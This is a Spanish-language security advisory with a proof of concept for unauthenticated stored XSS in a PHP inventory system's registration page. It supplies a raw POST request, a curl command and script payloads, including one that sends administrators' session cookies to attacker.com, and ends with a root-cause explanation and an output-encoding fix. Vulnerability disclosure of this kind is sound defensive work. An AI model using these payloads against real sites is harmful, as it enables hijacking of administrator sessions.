
Prueba de concepto para XSS almacenado no autenticado en SourceCodester Inventory System, demostrando secuestro de sesión de administrador mediante payloads de registro manipulados.
| Campo | Detalle |
|---|
| Tipo de Vulnerabilidad | Cross-Site Scripting (XSS) Almacenado |
| Aplicación Afectada | Sistema de Inventario usando PHP y MySQL |
| Proveedor | SourceCodester |
| Versión Afectada | 1.0 |
| Archivo Afectado | register.php |
| Parámetros | fullname, username |
| Autenticación Requerida | No (No autenticado) |
| Impacto | Secuestro de sesión de administrador, ejecución de scripts maliciosos en el panel de administración |
| Puntuación CVSS | 8.8 (Alto) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
El Sistema de Inventario usando PHP y MySQL de SourceCodester (enviado el 23 de mayo de 2026) es vulnerable a Cross-Site Scripting (XSS) Almacenado No Autenticado en el módulo de Registro de Personal (register.php).
Los campos de entrada fullname y username no sanitizan ni codifican la entrada proporcionada por el usuario antes de almacenarla en la base de datos. Cuando un administrador visita la página de Gestión de Usuarios (users.php), las cargas útiles sin sanitizar se renderizan directamente en el contexto HTML, lo que provoca la ejecución inmediata de JavaScript en la sesión del navegador del administrador.
Debido a que el registro no requiere autenticación, un atacante remoto no autenticado puede inyectar JavaScript arbitrario que se ejecutará en el contexto de cualquier administrador que vea el panel de Gestión de Usuarios.
/product_inventory/register.php — no se requiere inicio de sesión.fullname y/o username./product_inventory/users.php, la carga útil se ejecuta automáticamente en el navegador del administrador.http://<TARGET>/product_inventory/register.php
Carga útil del campo Nombre Completo:
<script>alert(1)</script>
Carga útil del campo Nombre de Usuario:
<script>alert(2)</script>
Contraseña: cualquier valor (por ejemplo, test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
Equivalente en curl:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Inicie sesión como administrador y navegue a:
http://<TARGET>/product_inventory/users.php
Ambas cargas útiles se ejecutan inmediatamente al cargar la página.
Un atacante no autenticado puede:
Ejemplo de carga útil para robo de cookie de sesión (reemplácelo con el servidor del atacante):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


La vulnerabilidad existe porque register.php inserta la entrada del usuario directamente en la base de datos sin sanitización, y users.php muestra los valores almacenados sin codificación con htmlspecialchars().
Patrón vulnerable en users.php (aproximado):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
Corrección — aplicar codificación de salida:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Además, la entrada debe sanitizarse al insertarse en register.php usando strip_tags() o sentencias preparadas con validación adecuada.
htmlspecialchars() con ENT_QUOTES antes de renderizar datos proporcionados por el usuario en HTML.Reportado por Syed Imad Uddin Alvi — Investigador de Seguridad Independiente